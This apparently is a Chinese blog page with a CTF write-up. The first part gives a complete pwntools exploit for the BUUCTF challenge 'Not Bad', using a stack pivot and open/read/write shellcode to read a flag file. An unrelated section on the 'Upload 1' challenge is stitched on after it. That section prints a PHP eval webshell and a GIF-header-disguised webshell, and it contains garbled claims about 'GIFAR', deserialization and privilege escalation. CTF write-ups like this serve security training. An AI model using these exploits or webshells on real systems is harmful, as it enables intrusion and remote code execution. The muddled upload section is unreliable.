BUUCTF之“[极客大挑战 2019]Not Bad 1”

本文介绍了如何通过`seccomp-tools`检查可用系统调用,并运用`shellcraft`库进行高效的文件操作,如读写和创建文件。重点展示了如何设置context.binary和利用shellcode实现文件描述符3的使用。

WP:

from pwn import*
p=remote('node4.buuoj.cn',26870)
context.binary=ELF('./bad')
mmap_=0x123000
jmp_=0x400a01
paylado1=(asm(shellcraft.read(0,mmap_,0x100))+asm("mov rax,0x123000;call rax")).ljust(0x28,b'\x00')+p64(jmp_)+asm("sub rsp,0x30;jmp rsp")
p.sendafter("Easy shellcode, have fun!",paylado1)
shellcode=asm(shellcraft.open('./flag'))
shellcode+=asm(shellcraft.read(3,mmap_+0x50,0x50))
shellcode+=asm(shellcraft.write(1,mmap_+0x50,0x50))
p.send(shellcode)
p.interactive()

先盘点一下收获:

  1. orw更了解了一丝:可以利用工具seccomp-tools查看哪些系统调用能用
  2. shellcraft.read(open、write)等的使用非常方便
  3. 创建新文件时会使文件描述符(句柄)为3

本题奇怪的是:

context.binary=ELF('./bad')

如果不加这句程序报错。

最后:
文件描述符以及shellcraft的这种使用可以看这里

### 关于 BUUCTF 极客挑战 2019 中 Upload 1 题目分析 #### 背景介绍 BUUCTF 是一个知名的网络安全竞赛平台,其中的极客挑战系列题目涵盖了多种安全漏洞利用技巧。Upload 1 属于文件上传类题目,在这类题目中通常会涉及到服务器端对于上传文件类型的验证机制以及可能存在的绕过方法。 #### 文件上传漏洞原理 当 Web 应用程序允许用户上传文件时,如果对上传的内容缺乏严格的安全检查,则可能导致攻击者能够上传恶意脚本并执行任意代码。常见的防御措施包括但不限于 MIME 类型检测、扩展名过滤等[^1]。 #### 解题思路 针对此题目的具体实现方式可以归纳为以下几个方面: - **MIME 类型伪造** PHP 使用 `$_FILES` 数组来处理上传的数据,默认情况下仅依赖客户端提供的 Content-Type 头部信息判断文件类型。然而这些头部是可以被轻易篡改的。因此可以通过修改 HTTP 请求中的相应部分使服务端误认为所提交的是合法图片而非其他形式的可执行文件。 - **PHP 后门植入** 利用上述手段成功上传 .php 结尾或其他能被执行解释器解析运行的文件之后,便可以在该文件内嵌入一段用于远程控制目标主机的小段落,比如一句话木马: ```php <?php @eval($_POST['cmd']);?> ``` - **绕过白名单限制** 如果存在基于文件头特征码(magic number)或者图像尺寸小等方面更严格的校验逻辑的话,那么就需要寻找特定格式下既满足条件又隐藏有潜在威胁特性的样本作为载体;或者是探索是否有其它途径可以直接影响到最终保存路径从而规避掉这部分审核流程。 #### 实际操作案例展示 假设当前环境已经确认支持 GIF89a 开始标记并且不会因为后续附加内容而报错的情况下,我们可以构造这样一个混合体——即所谓的“GIFAR”(Gif+Jar) 攻击向量: ```gif GIF89a; <?php @eval($_POST['cmd']);?> ``` 将其命名为 `.jpg.php` 或类似的双后缀命名模式尝试突破单纯的字符串匹配规则限制,并通过浏览器访问触发反序列化过程完成提权动作获取 shell 访问权限。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值